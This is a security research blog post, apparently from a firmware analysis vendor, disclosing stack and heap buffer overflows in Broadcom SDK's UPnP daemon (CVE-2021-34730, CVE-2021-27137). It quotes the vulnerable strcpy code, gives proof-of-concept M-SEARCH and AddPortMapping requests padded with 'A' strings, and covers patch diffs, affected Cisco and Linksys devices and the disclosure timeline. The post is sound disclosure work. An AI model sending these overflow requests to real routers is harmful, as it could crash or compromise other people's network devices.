Swimming Upstream: Uncovering Broadcom SDK vulnerabilities from bug reports

TL;DR;
CVE-2021-34730DD-WRTSSD-Disclosureverify if you are affected by the issues reported in this blog postOverview
In the continuous quest to extend our software composition analysis, we were exploring rules for Broadcom binaries that we frequently find in connected devices by a variety of manufacturers. The filenames of these binaries usually start withbcm
(e.g., bcm_atmctl
, bcmcastctl
, bcm_flasher
, …).In the process, we also investigated a Broadcom binary implementing a UPnP service that we found in a 4G/LTE router manufactured by a Chinese vendor. This binary was named bcmupnp, and in the reversing process we discovered two obvious flaws:- a stack buffer overflow via SSDP M-SEARCH packets
- a heap buffer overflow via UPnP PortmapAdd calls
Affected vendor & product Vendor Advisory | Broadcom SDK (https://www.broadcom.com) N/A |
Vulnerable version | n/a - Broadcom did not disclose exact fixed versions to us (see below for our estimates). |
Fixed version | n/a - Broadcom did not disclose exact fixed versions to us (see below for our estimates). Some vendors chose to fix it (DD-WRT) and others closed it as wontfix (Cisco) |
CVE IDs | CVE-2021-27137 - DD-WRT CVE-2021-34730 - Cisco |
Impact | CVE-2021-27137 - DD-WRT - UNKNOWN CVE-2021-34730 - Cisco - 9.8 (critical) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Credit | Q. Kaiser, IoT Inspector Research Lab Selim Enes Karaduman, working with SSD Disclosure |
strncpy
* $Id: upnp_ssdp.c 305062 2011-12-26 10:48:21Z kenlo $
* $Id: InternetGatewayDevice.c 241192 2011-02-17 21:52:25Z gmo $
The Vulnerabilities
Stack Buffer Overflow via ssdp_msearch
- M-SEARCH – sent by clients wishing to discover available services on a network.
- NOTIFY – sent by UPnP servers to announce the establishment or withdrawal of service information to the multicast group.
ssdp_msearch
ssdp_methods
struct upnp_method ssdp_methods[] = { {"M-SEARCH ", sizeof("M-SEARCH ")-1, METHOD_MSEARCH, ssdp_msearch}, {0, 0, 0, 0} };M-SEARCH
ssdp_msearch
ssdp_msearch
HOST
MAN
ST
ST
uuid:
strcpy
name
/* Parse the M-SEARCH message */ int ssdp_msearch(UPNP_CONTEXT *context) { char name[128]; int type; char *host; char *man; char *st; /* check HOST:239.255.255.250:1900 */ host = context->HOST; if (!host || strcmp(host, "239.255.255.250:1900") != 0) return -1; /* check MAN:"ssdp:discover" */ man = context->MAN; if (!man || strcmp(man, "\"ssdp:discover\"") != 0) return -1; /* process search target */ st = context->ST; if (!st) return -1; if (strcmp(st, "ssdp:all") == 0) { type = MSEARCH_ALL; } else if (strcmp(st, "upnp:rootdevice") == 0) { type = MSEARCH_ROOTDEVICE; } else if (memcmp(st, "uuid:", 5) == 0) { /* uuid */ type = MSEARCH_UUID; st += 5; strcpy(name, st); } }To exploit this bug, one would simply need to send an SSDP M-SEARCH request resembling the one below:
M-SEARCH * HTTP/1.1 HOST:239.255.255.250:1900 ST:uuid:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... MX:2 MAN:"ssdp:discover"
$r4
$r11


Heap Buffer Overflow via upnp_portmap_add
POST /control?WANIPConnection HTTP/1.1 Host: 192.168.100.1:1780 SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" Accept-Language: en-us;q=1, en;q=0.5 Accept-Encoding: gzip Content-Type: text/xml; charset="utf-8" Connection: Keep-Alive Content-Length: 1105 <?xml version="1.0"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"> <NewLeaseDuration>3600</NewLeaseDuration> <NewPortMappingDescription>gaming console</NewPortMappingDescription> <NewEnabled>0</NewEnabled> <NewInternalClient>192.168.100.100</NewInternalClient> <NewInternalPort>52942</NewInternalPort> <NewProtocol>TCP</NewProtocol> <NewExternalPort>52942</NewExternalPort> <NewRemoteHost>192.168.1.42</NewRemoteHost> </u:AddPortMapping> </s:Body> </s:Envelope>
map
AddPortMapping
./device/InternetGatewayDevice/soap_x_wanipconnection.c
UPNP_ACTION action_x_wanipconnection[] = { {"AddPortMapping", 8, arg_in_AddPortMapping, 0, 0, &action_AddPortMapping}, {"DeletePortMapping", 3, arg_in_DeletePortMapping, 0, 0, &action_DeletePortMapping}, {"ForceTermination", 0, 0, 0, 0, &action_ForceTermination}, {"GetConnectionTypeInfo", 0, 0, 2, arg_out_GetConnectionTypeInfo, &action_GetConnectionTypeInfo}, {"GetExternalIPAddress", 0, 0, 1, arg_out_GetExternalIPAddress, &action_GetExternalIPAddress}, {"GetGenericPortMappingEntry", 1, arg_in_GetGenericPortMappingEntry, 8, arg_out_GetGenericPortMappingEntry, &action_GetGenericPortMappingEntry}, {"GetNATRSIPStatus", 0, 0, 2, arg_out_GetNATRSIPStatus, &action_GetNATRSIPStatus}, {"GetSpecificPortMappingEntry", 3, arg_in_GetSpecificPortMappingEntry, 5, arg_out_GetSpecificPortMappingEntry, &action_GetSpecificPortMappingEntry}, {"GetStatusInfo", 0, 0, 3, arg_out_GetStatusInfo, &action_GetStatusInfo}, {"RequestConnection", 0, 0, 0, 0, &action_RequestConnection}, {"SetConnectionType", 1, arg_in_SetConnectionType, 0, 0, &action_SetConnectionType}, {0, 0, 0, 0, 0, 0} };
upnp_portmap_add
/* << AUTO GENERATED FUNCTION: action_AddPortMapping() */ static int action_AddPortMapping ( UPNP_CONTEXT * context, UPNP_SERVICE *service, IN_ARGUMENT *in_argument, OUT_ARGUMENT *out_argument ) { /* --snip-- */ /* << USER CODE START >> */ IN_ARGUMENT *in_NewRemoteHost = UPNP_IN_ARG("NewRemoteHost"); IN_ARGUMENT *in_NewExternalPort = UPNP_IN_ARG("NewExternalPort"); IN_ARGUMENT *in_NewProtocol = UPNP_IN_ARG("NewProtocol"); IN_ARGUMENT *in_NewInternalPort = UPNP_IN_ARG("NewInternalPort"); IN_ARGUMENT *in_NewInternalClient = UPNP_IN_ARG("NewInternalClient"); IN_ARGUMENT *in_NewEnabled = UPNP_IN_ARG("NewEnabled"); IN_ARGUMENT *in_NewPortMappingDescription = UPNP_IN_ARG("NewPortMappingDescription"); IN_ARGUMENT *in_NewLeaseDuration = UPNP_IN_ARG("NewLeaseDuration"); UPNP_STATE_VAR *statevar; UPNP_VALUE value = {UPNP_TYPE_UI2, 2}; int error = upnp_portmap_add(context, ARG_STR(in_NewRemoteHost), ARG_UI2(in_NewExternalPort), ARG_STR(in_NewProtocol), ARG_UI2(in_NewInternalPort), ARG_STR(in_NewInternalClient), ARG_BOOL(in_NewEnabled), ARG_STR(in_NewPortMappingDescription), ARG_UI4(in_NewLeaseDuration)); if (error) { return error; } /* --snip-- */ }
upnp_portmap_add
portmap
strcpy
/* Add a new port mapping entry */ int upnp_portmap_add ( UPNP_CONTEXT *context, char *remote_host, unsigned short external_port, char *protocol, unsigned short internal_port, char *internal_client, unsigned int enable, char *description, unsigned long duration ) { UPNP_PORTMAP_CTRL *portmap_ctrl; UPNP_PORTMAP *map; /* Get control body */ portmap_ctrl = (UPNP_PORTMAP_CTRL *)(context->focus_ifp->focus_devchain->devctrl); /* data validation */ if (strcasecmp(protocol, "TCP") != 0 && strcasecmp(protocol, "UDP") != 0) { upnp_syslog(LOG_ERR, "add_portmap:: Invalid protocol"); return SOAP_ARGUMENT_VALUE_INVALID; } /* check duplication */ map = upnp_portmap_find(context, remote_host, external_port, protocol); if (map) { if (strcmp(internal_client, map->internal_client) != 0) return SOAP_CONFLICT_IN_MAPPING_ENTRY; /* Argus, make it looked like shutdown */ if (enable != map->enable || internal_port != map->internal_port) { if (map->enable) { map->enable = 0; upnp_osl_nat_config(map); } } } else { if (portmap_ctrl->num == portmap_ctrl->limit) { UPNP_PORTMAP_CTRL *new_portmap_ctrl; int old_limit = portmap_ctrl->limit; int old_size = UPNP_PORTMAP_CTRL_SIZE + old_limit * sizeof(UPNP_PORTMAP); int new_limit = old_limit * 2; int new_size = UPNP_PORTMAP_CTRL_SIZE + new_limit * sizeof(UPNP_PORTMAP); /* * malloc a new one for twice the size, * the reason we don't use realloc is when realloc failed, * the old memory will be gone! */ new_portmap_ctrl = (UPNP_PORTMAP_CTRL *)malloc(new_size); if (new_portmap_ctrl == 0) return SOAP_OUT_OF_MEMORY; /* Copy the old to the new one, and free it */ memcpy(new_portmap_ctrl, portmap_ctrl, old_size); free(portmap_ctrl); /* Assign the new one as the portmap_ctrl */ portmap_ctrl = new_portmap_ctrl; context->focus_ifp->focus_devchain->devctrl = new_portmap_ctrl; portmap_ctrl->limit = new_limit; } /* Locate the map and advance the total number */ map = portmap_ctrl->pmlist + portmap_ctrl->num; portmap_ctrl->num++; } /* Update database */ map->external_port = external_port; map->internal_port = internal_port; map->enable = enable; map->duration = duration; map->book_time = time(0); strcpy(map->remote_host, remote_host); strcpy(map->protocol, protocol); strcpy(map->internal_client, internal_client); strcpy(map->description, description); /* Set to NAT kernel */ if (map->enable) upnp_osl_nat_config(map); return 0; }
POST /control?WANIPConnection HTTP/1.1 Host: 192.168.100.1:1780 SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" Accept-Language: en-us;q=1, en;q=0.5 Accept-Encoding: gzip Content-Type: text/xml; charset="utf-8" Connection: Keep-Alive Content-Length: 1105 <?xml version="1.0"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"> <NewLeaseDuration>0</NewLeaseDuration> <NewPortMappingDescription>AAAAAAAAA</NewPortMappingDescription> <NewEnabled>0</NewEnabled> <NewInternalClient>192.168.100.100</NewInternalClient> <NewInternalPort>8000</NewInternalPort> <NewProtocol>TCP</NewProtocol> <NewExternalPort>8000</NewExternalPort> <NewRemoteHost>192.168.1.42</NewRemoteHost> </u:AddPortMapping> </s:Body> </s:Envelope>
$r4
$r11

NewEnabled
NewRemoteHost
Previous Discoveries
https://svn.dd-wrt.com/browser/src/router/upnp/src/ssdp.c?rev=11589#L385https://svn.dd-wrt.com/browser/src/router/upnp/device/InternetGatewayDevice/InternetGatewayDevice.c?rev=11589#L215strcpy
strlcpy
svn blame ssdp.c | grep strlcpy 45724 brainslaye strlcpy(name, st, sizeof(name));
svn diff -c 45724 Index: ssdp.c =================================================================== --- ssdp.c (revision 45723) +++ ssdp.c (revision 45724) @@ -382,7 +382,7 @@ /* uuid */ type = MSEARCH_UUID; st += 5; - strcpy(name, st); + strlcpy(name, st, sizeof(name)); } else { /* check advertise_table for specify name. */
svn log -r 45724 ------------------------------------------------------------------------ r45724 | brainslayer | 2021-02-09 09:48:07 +0100 (Di, 09 Feb 2021) | 1 line fix potential stack overflow with modified upnp request ------------------------------------------------------------------------https://ssd-disclosure.com/ssd-advisory-dd-wrt-upnp-buffer-overflow/
svn blame ./device/InternetGatewayDevice/InternetGatewayDevice.c | grep strlcpy 45725 brainslaye strlcpy(map->remote_host, remote_host, sizeof(map->remote_host)); 45725 brainslaye strlcpy(map->protocol, protocol, sizeof(map->protocol)); 45725 brainslaye strlcpy(map->internal_client, internal_client, sizeof(map->internal_client)); 45725 brainslaye strlcpy(map->description, description, sizeof(map->description));
svn log -r 45725 ------------------------------------------------------------------------ r45725 | brainslayer | 2021-02-09 10:11:39 +0100 (Di, 09 Feb 2021) | 1 line rework other potential insecure code ------------------------------------------------------------------------
Let the Hunt Begin
- Cisco RV110, RV215, RV130 - Affected by both stack and heap overflows.
- Linksys devices (E900, E1200, E1500, E2500, E3200) - Affected by heap overflow.
- Huawei device (B593) - A binary is affected by both issues but it is a leftover artifact.
Conclusion
As awareness for supply chain transparency is on the rise among security experts, this is yet another example of the vast implications of an obscure IoT supply chain. Too often, critical vulnerabilities are the result of an opaque supply chain for three simple reasons:
- On the supplier’s end, insufficient secure software development practices, in particular lack of security testing and code review, resulted in critical security issues to be introduced into Broadcom's SDK. Insufficient communication and lack of public advisories led to downstream vendors to remain unaware of these vulnerabilities although Broadcom patched them.
- On the product vendor’s end, we see manufacturers with access to Broadcom's source code (a requirement to build Broadcom SDK binaries for their own platform) who missed to sufficiently validate their supply chain, left the issues unspotted and distributed the vulnerabilities to hundreds of thousands of end customers – leaving them vulnerable to attacks.
- But supply chain issues can go upstream, too. During our research, we discovered that security researchers and pen-testers have previously identified issues in devices relying on the Broadcom SDK, but didn’t link these issues to Broadcom directly. This lead to these issues being rediscovered and fixed over a course of a decade, leaving many users vulnerable in the process.
PSIRTS of vendors along a supply chain must start working closer with each other to assure that security issues are reported up and down the supply chain in a timely manner. Then we stand a chance that critical vulnerabilities are addressed before they are exploited by cyber criminals.
Our firmware analysis platform IoT Inspector can support in detecting such crucial supply chain issues. It automatically detects whether a firmware is based on a vulnerable Broadcom SDK. In an effort to making IoT secure, you can verify if you are affected, free of charge.
Timeline
- 2021-07-02 - We contact Broadcom’s security team to check if they’re aware that CVE-2021-27137 affects their SDK
- 2021-07-02 - Broadcom confirms it’s not present in their current products and will check if older products are affected
- 2021-07-03 - We start hunting for affected products and devices.
- 2021-07-19 - We notify affected vendors (Cisco, Huawei, Linksys) via their respective PSIRTs, and get back to Broadcom asking if they could release some kind of advisory - given that recent models are still affected.
- 2021-07-19 - Broadcom answers that “The code in question is not used in any current or remotely recent products. The last even remotely similar issues were corrected years ago and customers notified.”
- 2021-07-23 - We confirm with Huawei analysts that the affected binary is not launched and is a leftover artifact from building the image with Broadcom’s SDK.
- 2021-08-18 - We contact Linksys a second time, requesting they acknowledge reception of our vulnerability report.
- 2021-08-18 - Cisco releases an advisory tracking the issues as CVE-2021-34730
- 2021-10-05 - Releasing this post.
About Onekey
ONEKEY is the leading European specialist in Product Cybersecurity & Compliance Management and part of the investment portfolio of PricewaterhouseCoopers Germany (PwC). The unique combination of the automated ONEKEY Product Cybersecurity & Compliance Platform (OCP) with expert knowledge and consulting services provides fast and comprehensive analysis, support, and management to improve product cybersecurity and compliance from product purchasing, design, development, production to end-of-life.

CONTACT:
Sara Fortmann
Senior Marketing Manager
sara.fortmann@onekey.com
euromarcom public relations GmbH
team@euromarcom.de
RELATED RESEARCH ARTICLES

Security Advisory: Remote Code Execution on Viasat Modems (CVE-2024-6199)
Explore ONEKEY Research Lab's security advisory detailing a critical vulnerability in Viasat modems. Learn about the risks and recommended actions.

Security Advisory: Remote Code Execution on Viasat Modems (CVE-2024-6198)
Explore ONEKEY Research Lab's security advisory detailing a critical vulnerability in Viasat modems. Learn about the risks and recommended actions.

Unblob 2024 Highlights: Sandboxing, Reporting, and Community Milestones
Explore the latest developments in Unblob, including enhanced sandboxing with Landlock, improved carving reporting, and χ² randomness analysis. Celebrate community contributions, academic research collaborations, and new format handlers, while looking forward to exciting updates in 2025.
Ready to automate your Product Cybersecurity & Compliance?
Make cybersecurity and compliance efficient and effective with ONEKEY.